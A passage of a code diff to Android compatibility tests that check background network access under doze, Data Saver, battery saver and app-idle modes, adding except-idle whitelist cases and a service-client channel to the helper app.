         removePowerSaveModeWhitelist(TEST_APP2_PKG);
         assertBackgroundNetworkAccess(false);
 
+        addPowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
+        assertBackgroundNetworkAccess(true);
+
+        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
+        assertBackgroundNetworkAccess(false);
+
         assertsForegroundAlwaysHasNetworkAccess();
         assertBackgroundNetworkAccess(false);
     }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
index fc674a7..c2dce38 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
@@ -32,6 +32,7 @@
 
         // Set initial state.
         removePowerSaveModeWhitelist(TEST_APP2_PKG);
+        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
         setDozeMode(false);
 
         registerBroadcastReceiver();
@@ -87,8 +88,7 @@
 
         // Make sure foreground service doesn't lose network access upon enabling doze.
         setDozeMode(false);
-        startForegroundService();
-        assertForegroundNetworkAccess();
+        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
         setDozeMode(true);
         assertForegroundNetworkAccess();
         stopForegroundService();
@@ -108,6 +108,12 @@
         removePowerSaveModeWhitelist(TEST_APP2_PKG);
         assertBackgroundNetworkAccess(false);
 
+        addPowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
+        assertBackgroundNetworkAccess(false);
+
+        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
+        assertBackgroundNetworkAccess(false);
+
         assertsForegroundAlwaysHasNetworkAccess();
         assertBackgroundNetworkAccess(false);
     }
@@ -158,8 +164,7 @@
     // leaves Doze Mode.
     @Override
     protected void assertsForegroundAlwaysHasNetworkAccess() throws Exception {
-        startForegroundService();
-        assertForegroundServiceNetworkAccess();
+        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
         stopForegroundService();
         assertBackgroundState();
     }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index a500348..12b338f 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -16,30 +16,39 @@
 
 package com.android.cts.net.hostside;
 
-import static android.cts.util.SystemUtil.runShellCommand;
 import static android.net.ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED;
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_DISABLED;
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
 import android.app.Instrumentation;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.NetworkInfo;
 import android.net.NetworkInfo.DetailedState;
 import android.net.NetworkInfo.State;
 import android.net.wifi.WifiManager;
+import android.os.BatteryManager;
+import android.os.Binder;
+import android.os.Bundle;
 import android.os.SystemClock;
 import android.service.notification.NotificationListenerService;
 import android.test.InstrumentationTestCase;
+import android.text.TextUtils;
 import android.util.Log;
 
+import com.android.cts.net.hostside.INetworkStateObserver;
+
 /**
  * Superclass for tests related to background network restrictions.
  */
@@ -49,31 +58,20 @@
     protected static final String TEST_PKG = "com.android.cts.net.hostside";
     protected static final String TEST_APP2_PKG = "com.android.cts.net.hostside.app2";
 
+    private static final String TEST_APP2_ACTIVITY_CLASS = TEST_APP2_PKG + ".MyActivity";
+    private static final String TEST_APP2_SERVICE_CLASS = TEST_APP2_PKG + ".MyForegroundService";
+
     private static final int SLEEP_TIME_SEC = 1;
     private static final boolean DEBUG = true;
 
     // Constants below must match values defined on app2's Common.java
     private static final String MANIFEST_RECEIVER = "ManifestReceiver";
     private static final String DYNAMIC_RECEIVER = "DynamicReceiver";
-    private static final String ACTION_GET_COUNTERS =
-            "com.android.cts.net.hostside.app2.action.GET_COUNTERS";
-    private static final String ACTION_GET_RESTRICT_BACKGROUND_STATUS =
-            "com.android.cts.net.hostside.app2.action.GET_RESTRICT_BACKGROUND_STATUS";
-    private static final String ACTION_CHECK_NETWORK =
-            "com.android.cts.net.hostside.app2.action.CHECK_NETWORK";
+
     private static final String ACTION_RECEIVER_READY =
             "com.android.cts.net.hostside.app2.action.RECEIVER_READY";
-    static final String ACTION_SEND_NOTIFICATION =
-            "com.android.cts.net.hostside.app2.action.SEND_NOTIFICATION";
     static final String ACTION_SHOW_TOAST =
             "com.android.cts.net.hostside.app2.action.SHOW_TOAST";
-    private static final String EXTRA_ACTION = "com.android.cts.net.hostside.app2.extra.ACTION";
-    private static final String EXTRA_RECEIVER_NAME =
-            "com.android.cts.net.hostside.app2.extra.RECEIVER_NAME";
-    private static final String EXTRA_NOTIFICATION_ID =
-            "com.android.cts.net.hostside.app2.extra.NOTIFICATION_ID";
-    private static final String EXTRA_NOTIFICATION_TYPE =
-            "com.android.cts.net.hostside.app2.extra.NOTIFICATION_TYPE";
 
     protected static final String NOTIFICATION_TYPE_CONTENT = "CONTENT";
     protected static final String NOTIFICATION_TYPE_DELETE = "DELETE";
@@ -90,16 +88,32 @@
     private static final int PROCESS_STATE_FOREGROUND_SERVICE = 4;
     private static final int PROCESS_STATE_TOP = 2;
 
+    private static final String KEY_NETWORK_STATE_OBSERVER = TEST_PKG + ".observer";
+
+    protected static final int TYPE_COMPONENT_ACTIVTIY = 0;
+    protected static final int TYPE_COMPONENT_FOREGROUND_SERVICE = 1;
+
+    private static final int BATTERY_STATE_TIMEOUT_MS = 5000;
+    private static final int BATTERY_STATE_CHECK_INTERVAL_MS = 500;
+
+    private static final int FOREGROUND_PROC_NETWORK_TIMEOUT_MS = 6000;
 
     // Must be higher than NETWORK_TIMEOUT_MS
     private static final int ORDERED_BROADCAST_TIMEOUT_MS = NETWORK_TIMEOUT_MS * 4;
 
+    private static final IntentFilter BATTERY_CHANGED_FILTER =
+            new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
+
+    private static final String APP_NOT_FOREGROUND_ERROR = "app_not_fg";
+
     protected Context mContext;
     protected Instrumentation mInstrumentation;
     protected ConnectivityManager mCm;
     protected WifiManager mWfm;
     protected int mUid;
+    private int mMyUid;
     private String mMeteredWifi;
+    private MyServiceClient mServiceClient;
     private boolean mHasWatch;
     private String mDeviceIdleConstantsSetting;
     private boolean mSupported;
@@ -113,7 +127,9 @@
         mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
         mWfm = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mUid = getUid(TEST_APP2_PKG);
-        final int myUid = getUid(mContext.getPackageName());
+        mMyUid = getUid(mContext.getPackageName());
+        mServiceClient = new MyServiceClient(mContext);
+        mServiceClient.bind();
         mHasWatch = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_WATCH);
         if (mHasWatch) {
@@ -124,10 +140,17 @@
         mSupported = setUpActiveNetworkMeteringState();
 
         Log.i(TAG, "Apps status on " + getName() + ":\n"
-                + "\ttest app: uid=" + myUid + ", state=" + getProcessStateByUid(myUid) + "\n"
+                + "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
                 + "\tapp2: uid=" + mUid + ", state=" + getProcessStateByUid(mUid));
    }
 
+    @Override
+    protected void tearDown() throws Exception {
+        mServiceClient.unbind();
+
+        super.tearDown();
+    }
+
     protected int getUid(String packageName) throws Exception {
         return mContext.getPackageManager().getPackageUid(packageName, 0);
     }
@@ -183,22 +206,31 @@
     }
 
     protected int getNumberBroadcastsReceived(String receiverName, String action) throws Exception {
-        final Intent intent = new Intent(ACTION_GET_COUNTERS);
-        intent.putExtra(EXTRA_ACTION, ACTION_RESTRICT_BACKGROUND_CHANGED);
-        intent.putExtra(EXTRA_RECEIVER_NAME, receiverName);
-        final String resultData = sendOrderedBroadcast(intent);
-        assertNotNull("timeout waiting for ordered broadcast result", resultData);
-        return Integer.valueOf(resultData);
+        return mServiceClient.getCounters(receiverName, action);
     }
 
     protected void assertRestrictBackgroundStatus(int expectedStatus) throws Exception {
-        final Intent intent = new Intent(ACTION_GET_RESTRICT_BACKGROUND_STATUS);
-        final String resultData = sendOrderedBroadcast(intent);
-        assertNotNull("timeout waiting for ordered broadcast result", resultData);
-        final String actualStatus = toString(Integer.parseInt(resultData));
+        final String status = mServiceClient.getRestrictBackgroundStatus();
+        assertNotNull("didn't get API status from app2", status);
+        final String actualStatus = toString(Integer.parseInt(status));
         assertEquals("wrong status", toString(expectedStatus), actualStatus);
     }
 
+    protected void assertMyRestrictBackgroundStatus(int expectedStatus) throws Exception {
+        final int actualStatus = mCm.getRestrictBackgroundStatus();
+        assertEquals("Wrong status", toString(expectedStatus), toString(actualStatus));
+    }
+
+    protected boolean isMyRestrictBackgroundStatus(int expectedStatus) throws Exception {
+        final int actualStatus = mCm.getRestrictBackgroundStatus();
+        if (expectedStatus != actualStatus) {
+            Log.d(TAG, "Expected: " + toString(expectedStatus)
+                    + " but actual: " + toString(actualStatus));
+            return false;
+        }
+        return true;
+    }
+
     protected void assertBackgroundNetworkAccess(boolean expectAllowed) throws Exception {
         assertBackgroundState(); // Sanity check.
         assertNetworkAccess(expectAllowed);
@@ -240,13 +272,11 @@
      */
     protected void assertsForegroundAlwaysHasNetworkAccess() throws Exception{
         // Checks foreground first.
-        launchActivity();
-        assertForegroundNetworkAccess();
+        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_ACTIVTIY);
         finishActivity();
 
         // Then foreground service
-        startForegroundService();
-        assertForegroundServiceNetworkAccess();
+        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
         stopForegroundService();
     }
 
@@ -279,6 +309,7 @@
             }
             Log.d(TAG, "App not on foreground state on attempt #" + i
                     + "; sleeping 1s before trying again");
+            turnScreenOn();
             SystemClock.sleep(SECOND_IN_MS);
         }
         fail("App2 is not on foreground state after " + maxTries + " attempts: " + state );
@@ -343,15 +374,20 @@
      * @return error message with the mismatch (or empty if assertion passed).
      */
     private String checkNetworkAccess(boolean expectAvailable) throws Exception {
-        String resultData = sendOrderedBroadcast(new Intent(ACTION_CHECK_NETWORK));
+        final String resultData = mServiceClient.checkNetworkStatus();
+        return checkForAvailabilityInResultData(resultData, expectAvailable);
+    }
+
+    private String checkForAvailabilityInResultData(String resultData, boolean expectAvailable) {
         if (resultData == null) {
-            return "timeout waiting for ordered broadcast";
+            assertNotNull("Network status from app2 is null", resultData);
         }
         // Network status format is described on MyBroadcastReceiver.checkNetworkStatus()
         final String[] parts = resultData.split(NETWORK_STATUS_SEPARATOR);
         assertEquals("Wrong network status: " + resultData, 5, parts.length); // Sanity check
-        final State state = State.valueOf(parts[0]);
-        final DetailedState detailedState = DetailedState.valueOf(parts[1]);
+        final State state = parts[0].equals("null") ? null : State.valueOf(parts[0]);
+        final DetailedState detailedState = parts[1].equals("null")
+                ? null : DetailedState.valueOf(parts[1]);
         final boolean connected = Boolean.valueOf(parts[2]);
         final String connectionCheckDetails = parts[3];
         final String networkInfo = parts[4];
@@ -593,6 +629,9 @@
     protected void addRestrictBackgroundWhitelist(int uid) throws Exception {
         executeShellCommand("cmd netpolicy add restrict-background-whitelist " + uid);
         assertRestrictBackgroundWhitelist(uid, true);
+        // UID policies live by the Highlander rule: "There can be only one".
+        // Hence, if app is whitelisted, it should not be blacklisted.
+        assertRestrictBackgroundBlacklist(uid, false);
     }
 
     protected void removeRestrictBackgroundWhitelist(int uid) throws Exception {
@@ -607,6 +646,9 @@
     protected void addRestrictBackgroundBlacklist(int uid) throws Exception {
         executeShellCommand("cmd netpolicy add restrict-background-blacklist " + uid);
         assertRestrictBackgroundBlacklist(uid, true);
+        // UID policies live by the Highlander rule: "There can be only one".
+        // Hence, if app is blacklisted, it should not be whitelisted.
+        assertRestrictBackgroundWhitelist(uid, false);
     }
 
     protected void removeRestrictBackgroundBlacklist(int uid) throws Exception {
@@ -665,12 +707,56 @@
         assertPowerSaveModeWhitelist(packageName, false); // Sanity check
     }
 
+    protected void assertPowerSaveModeExceptIdleWhitelist(String packageName, boolean expected)
+            throws Exception {
+        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
+        // need to use netpolicy for whitelisting
+        assertDelayedShellCommand("dumpsys deviceidle except-idle-whitelist =" + packageName,
+                Boolean.toString(expected));
+    }
+
+    protected void addPowerSaveModeExceptIdleWhitelist(String packageName) throws Exception {
+        Log.i(TAG, "Adding package " + packageName + " to power-save-mode-except-idle whitelist");
+        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
+        // need to use netpolicy for whitelisting
+        executeShellCommand("dumpsys deviceidle except-idle-whitelist +" + packageName);
+        assertPowerSaveModeExceptIdleWhitelist(packageName, true); // Sanity check
+    }
+
+    protected void removePowerSaveModeExceptIdleWhitelist(String packageName) throws Exception {
+        Log.i(TAG, "Removing package " + packageName
+                + " from power-save-mode-except-idle whitelist");
+        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
+        // need to use netpolicy for whitelisting
+        executeShellCommand("dumpsys deviceidle except-idle-whitelist reset");
+        assertPowerSaveModeExceptIdleWhitelist(packageName, false); // Sanity check
+    }
+
     protected void turnBatteryOff() throws Exception {
         executeSilentShellCommand("cmd battery unplug");
+        assertBatteryState(false);
     }
 
     protected void turnBatteryOn() throws Exception {
         executeSilentShellCommand("cmd battery reset");
+        assertBatteryState(true);
+
+    }
+
+    private void assertBatteryState(boolean pluggedIn) throws Exception {
+        final long endTime = SystemClock.elapsedRealtime() + BATTERY_STATE_TIMEOUT_MS;
+        while (isDevicePluggedIn() != pluggedIn && SystemClock.elapsedRealtime() <= endTime) {
+            Thread.sleep(BATTERY_STATE_CHECK_INTERVAL_MS);
+        }
+        if (isDevicePluggedIn() != pluggedIn) {
+            fail("Timed out waiting for the plugged-in state to change,"
+                    + " expected pluggedIn: " + pluggedIn);
+        }
+    }
+
+    private boolean isDevicePluggedIn() {
+        final Intent batteryIntent = mContext.registerReceiver(null, BATTERY_CHANGED_FILTER);
+        return batteryIntent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1) > 0;
     }
 
     protected void turnScreenOff() throws Exception {
@@ -686,10 +772,9 @@
         Log.i(TAG, "Setting Battery Saver Mode to " + enabled);
         if (enabled) {
             turnBatteryOff();
-            executeSilentShellCommand("cmd battery unplug");
-            executeSilentShellCommand("settings put global low_power 1");
+            executeSilentShellCommand("cmd power set-mode 1");
         } else {
-            executeSilentShellCommand("settings put global low_power 0");
+            executeSilentShellCommand("cmd power set-mode 0");
             turnBatteryOn();
         }
     }
@@ -723,12 +808,40 @@
 
     protected void setAppIdle(boolean enabled) throws Exception {
         Log.i(TAG, "Setting app idle to " + enabled);
+        final String beforeStats = getUsageStatsDump();
         executeSilentShellCommand("am set-inactive " + TEST_APP2_PKG + " " + enabled );
-        assertAppIdle(enabled); // Sanity check
+        try {
+            assertAppIdle(enabled); // Sanity check
+        } catch (Throwable e) {
+            final String afterStats = getUsageStatsDump();
+            Log.d(TAG, "UsageStats before:\n" + beforeStats);
+            Log.d(TAG, "UsageStats after:\n" + afterStats);
+            throw e;
+        }
+    }
+
+    private String getUsageStatsDump() throws Exception {
+        final String output = runShellCommand(mInstrumentation, "dumpsys usagestats").trim();
+        final StringBuilder sb = new StringBuilder();
+        final TextUtils.SimpleStringSplitter splitter = new TextUtils.SimpleStringSplitter('\n');
+        splitter.setString(output);
+        String str;
+        while (splitter.hasNext()) {
+            str = splitter.next();
+            if (str.contains("package=")
+                    && !str.contains(TEST_PKG) && !str.contains(TEST_APP2_PKG)) {
+                continue;
+            }
+            if (str.contains("config=")) {
+                continue;
+            }
+            sb.append(str).append('\n');
+        }
+        return sb.toString();
     }
 
     protected void assertAppIdle(boolean enabled) throws Exception {
-        assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 10, 2, "Idle=" + enabled);
+        assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
     }
 
     /**
@@ -739,12 +852,14 @@
      * {@link #runDeviceTests(String, String)} is executed.
      */
     protected void registerBroadcastReceiver() throws Exception {
-        executeShellCommand("am startservice com.android.cts.net.hostside.app2/.MyService");
+        mServiceClient.registerBroadcastReceiver();
+
+        final Intent intent = new Intent(ACTION_RECEIVER_READY)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         // Wait until receiver is ready.
-        final int maxTries = 5;
+        final int maxTries = 10;
         for (int i = 1; i <= maxTries; i++) {
-            final String message =
-                    sendOrderedBroadcast(new Intent(ACTION_RECEIVER_READY), SECOND_IN_MS);
+            final String message = sendOrderedBroadcast(intent, SECOND_IN_MS * 4);
             Log.d(TAG, "app2 receiver acked: " + message);
             if (message != null) {
                 return;
@@ -786,35 +901,86 @@
                 mDeviceIdleConstantsSetting));
     }
 
-    protected void startForegroundService() throws Exception {
-        executeShellCommand(
-                "am startservice -f 1 com.android.cts.net.hostside.app2/.MyForegroundService");
+    protected void launchComponentAndAssertNetworkAccess(int type) throws Exception {
+        if (type == TYPE_COMPONENT_FOREGROUND_SERVICE) {
+            startForegroundService();
+            assertForegroundServiceNetworkAccess();
+            return;
+        } else if (type == TYPE_COMPONENT_ACTIVTIY) {
+            turnScreenOn();
+            // Wait for screen-on state to propagate through the system.
+            SystemClock.sleep(2000);
+            final CountDownLatch latch = new CountDownLatch(1);
+            final Intent launchIntent = getIntentForComponent(type);
+            final Bundle extras = new Bundle();
+            final String[] errors = new String[]{null};
+            extras.putBinder(KEY_NETWORK_STATE_OBSERVER, getNewNetworkStateObserver(latch, errors));
+            launchIntent.putExtras(extras);
+            mContext.startActivity(launchIntent);
+            if (latch.await(FOREGROUND_PROC_NETWORK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                if (!errors[0].isEmpty()) {
+                    if (errors[0] == APP_NOT_FOREGROUND_ERROR) {
+                        // App didn't come to foreground when the activity is started, so try again.
+                        assertForegroundNetworkAccess();
+                    } else {
+                        fail("Network is not available for app2 (" + mUid + "): " + errors[0]);
+                    }
+                }
+            } else {
+                fail("Timed out waiting for network availability status from app2 (" + mUid + ")");
+            }
+        } else {
+            throw new IllegalArgumentException("Unknown type: " + type);
+        }
+    }
+
+    private void startForegroundService() throws Exception {
+        final Intent launchIntent = getIntentForComponent(TYPE_COMPONENT_FOREGROUND_SERVICE);
+        mContext.startForegroundService(launchIntent);
         assertForegroundServiceState();
     }
 
+    private Intent getIntentForComponent(int type) {
+        final Intent intent = new Intent();
+        if (type == TYPE_COMPONENT_ACTIVTIY) {
+            intent.setComponent(new ComponentName(TEST_APP2_PKG, TEST_APP2_ACTIVITY_CLASS));
+        } else if (type == TYPE_COMPONENT_FOREGROUND_SERVICE) {
+            intent.setComponent(new ComponentName(TEST_APP2_PKG, TEST_APP2_SERVICE_CLASS))
+                    .setFlags(1);
+        } else {
+            fail("Unknown type: " + type);
+        }
+        return intent;
+    }
+
     protected void stopForegroundService() throws Exception {
-        executeShellCommand(
-                "am startservice -f 2 com.android.cts.net.hostside.app2/.MyForegroundService");
+        executeShellCommand(String.format("am startservice -f 2 %s/%s",
+                TEST_APP2_PKG, TEST_APP2_SERVICE_CLASS));
         // NOTE: cannot assert state because it depends on whether activity was on top before.
     }
 
-    /**
-     * Launches an activity on app2 so its process is elevated to foreground status.
-     */
-    protected void launchActivity() throws Exception {
-        turnScreenOn();
-        executeShellCommand("am start com.android.cts.net.hostside.app2/.MyActivity");
-        final int maxTries = 30;
-        ProcessState state = null;
-        for (int i = 1; i <= maxTries; i++) {
-            state = getProcessStateByUid(mUid);
-            if (state.state == PROCESS_STATE_TOP) return;
-            Log.w(TAG, "launchActivity(): uid " + mUid + " not on TOP state on attempt #" + i
-                    + "; turning screen on and sleeping 1s before checking again");
-            turnScreenOn();
-            SystemClock.sleep(SECOND_IN_MS);
-        }
-        fail("App2 is not on foreground state after " + maxTries + " attempts: " + state);
+    private Binder getNewNetworkStateObserver(final CountDownLatch latch,
+            final String[] errors) {
+        return new INetworkStateObserver.Stub() {
+            @Override
+            public boolean isForeground() {
+                try {
+                    final ProcessState state = getProcessStateByUid(mUid);
+                    return !isBackground(state.state);
+                } catch (Exception e) {
+                    Log.d(TAG, "Error while reading the proc state for " + mUid + ": " + e);
+                    return false;
+                }
+            }
+
+            @Override
+            public void onNetworkStateChecked(String resultData) {
+                errors[0] = resultData == null
+                        ? APP_NOT_FOREGROUND_ERROR
+                        : checkForAvailabilityInResultData(resultData, true);
+                latch.countDown();
+            }
+        };
     }
 
     /**
@@ -826,13 +992,10 @@
                 + "--receiver-foreground --receiver-registered-only");
     }
 
-    protected void sendNotification(int notificationId, String notificationType) {
-        final Intent intent = new Intent(ACTION_SEND_NOTIFICATION);
-        intent.putExtra(EXTRA_NOTIFICATION_ID, notificationId);
-        intent.putExtra(EXTRA_NOTIFICATION_TYPE, notificationType);
-        Log.d(TAG, "Sending notification broadcast (id=" + notificationId + ", type="
-                + notificationType + ": " + intent);
-        mContext.sendBroadcast(intent);
+    protected void sendNotification(int notificationId, String notificationType) throws Exception {
+        Log.d(TAG, "Sending notification broadcast (id=" + notificationId
+                + ", type=" + notificationType);
+        mServiceClient.sendNotification(notificationId, notificationType);
     }
 
     protected String showToast() {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
index 9e4b0c1..599a31c 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
@@ -20,16 +20,21 @@
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
 
+import android.util.Log;
+
 public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
 
     private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
         "com.android.providers.downloads"
     };
 
+    private boolean mIsDataSaverSupported;
+
     @Override
     public void setUp() throws Exception {
         super.setUp();
 
+        mIsDataSaverSupported = isDataSaverSupported();
         if (!isSupported()) return;
 
         // Set initial state.
@@ -59,6 +64,32 @@
         return setMeteredNetwork();
     }
 
+    @Override
+    protected boolean isSupported() throws Exception {
+        if (!mIsDataSaverSupported) {
+            Log.i(TAG, "Skipping " + getClass() + "." + getName()
+                    + "() because device does not support Data Saver Mode");
+        }
+        return mIsDataSaverSupported && super.isSupported();
+    }
+
+    /**
+     * As per CDD requirements, if the device doesn't support data saver mode then
+     * ConnectivityManager.getRestrictBackgroundStatus() will always return
+     * RESTRICT_BACKGROUND_STATUS_DISABLED. So, enable the data saver mode and check if
+     * ConnectivityManager.getRestrictBackgroundStatus() for an app in background returns
+     * RESTRICT_BACKGROUND_STATUS_DISABLED or not.
+     */
+    private boolean isDataSaverSupported() throws Exception {
+        assertMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
+        try {
+            setRestrictBackground(true);
+            return !isMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
+        } finally {
+            setRestrictBackground(false);
+        }
+    }
+
     public void testGetRestrictBackgroundStatus_disabled() throws Exception {
         if (!isSupported()) return;
 
@@ -104,8 +135,7 @@
 
         // Make sure foreground app doesn't lose access upon enabling Data Saver.
         setRestrictBackground(false);
-        launchActivity();
-        assertForegroundNetworkAccess();
+        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_ACTIVTIY);
         setRestrictBackground(true);
         assertForegroundNetworkAccess();
 
@@ -121,8 +151,7 @@
 
         // Make sure foreground service doesn't lose access upon enabling Data Saver.
         setRestrictBackground(false);
-        startForegroundService();
-        assertForegroundNetworkAccess();
+        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
         setRestrictBackground(true);
         assertForegroundNetworkAccess();
         stopForegroundService();
@@ -137,26 +166,34 @@
         assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
 
         assertsForegroundAlwaysHasNetworkAccess();
+        assertRestrictBackgroundChangedReceived(1);
         assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
 
-        // Make sure blacklist prevails over whitelist.
+        // UID policies live by the Highlander rule: "There can be only one".
+        // Hence, if app is whitelisted, it should not be blacklisted anymore.
         setRestrictBackground(true);
         assertRestrictBackgroundChangedReceived(2);
         assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
         addRestrictBackgroundWhitelist(mUid);
         assertRestrictBackgroundChangedReceived(3);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
+        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_WHITELISTED);
 
         // Check status after removing blacklist.
+        // ...re-enables first
+        addRestrictBackgroundBlacklist(mUid);
+        assertRestrictBackgroundChangedReceived(4);
+        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
+        assertsForegroundAlwaysHasNetworkAccess();
+        // ... remove blacklist - access's still rejected because Data Saver is on
         removeRestrictBackgroundBlacklist(mUid);
         assertRestrictBackgroundChangedReceived(4);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_WHITELISTED);
+        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
+        assertsForegroundAlwaysHasNetworkAccess();
+        // ... finally, disable Data Saver
         setRestrictBackground(false);
         assertRestrictBackgroundChangedReceived(5);
         assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_DISABLED);
-
         assertsForegroundAlwaysHasNetworkAccess();
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_DISABLED);
     }
 
     public void testGetRestrictBackgroundStatus_requiredWhitelistedPackages() throws Exception {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
index ec49eee..5248255 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
@@ -38,6 +38,7 @@
         removeRestrictBackgroundWhitelist(mUid);
         removeRestrictBackgroundBlacklist(mUid);
         removePowerSaveModeWhitelist(TEST_APP2_PKG);
+        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
 
         registerBroadcastReceiver();
     }
@@ -200,4 +201,74 @@
         removeRestrictBackgroundBlacklist(mUid);
         removePowerSaveModeWhitelist(TEST_APP2_PKG);
     }
+
+    /**
+     * Tests that powersave whitelists works as expected when doze and battery saver modes
+     * are enabled.
+     */
+    public void testDozeAndBatterySaverMode_powerSaveWhitelists() throws Exception {
+        if (!isSupported()) {
+            return;
+        }
+        if (!isDozeModeEnabled()) {
+            Log.i(TAG, "Skipping " + getClass() + "." + getName()
+                    + "() because device does not support Doze Mode");
+            return;
+        }
+
+        setBatterySaverMode(true);
+        setDozeMode(true);
+
+        try {
+            addPowerSaveModeWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(true);
+
+            removePowerSaveModeWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(false);
+
+            addPowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(false);
+
+            removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(false);
+        } finally {
+            setBatterySaverMode(false);
+            setDozeMode(false);
+        }
+    }
+
+    /**
+     * Tests that powersave whitelists works as expected when doze and appIdle modes
+     * are enabled.
+     */
+    public void testDozeAndAppIdle_powerSaveWhitelists() throws Exception {
+        if (!isSupported()) {
+            return;
+        }
+        if (!isDozeModeEnabled()) {
+            Log.i(TAG, "Skipping " + getClass() + "." + getName()
+                    + "() because device does not support Doze Mode");
+            return;
+        }
+
+        setDozeMode(true);
+        setAppIdle(true);
+
+        try {
+            addPowerSaveModeWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(true);
+
+            removePowerSaveModeWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(false);
+
+            addPowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(false);
+
+            removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(false);
+        } finally {
+            setAppIdle(false);
+            setDozeMode(false);
+        }
+    }
 }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
new file mode 100644
index 0000000..ff05d8c
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
@@ -0,0 +1,101 @@
+/*
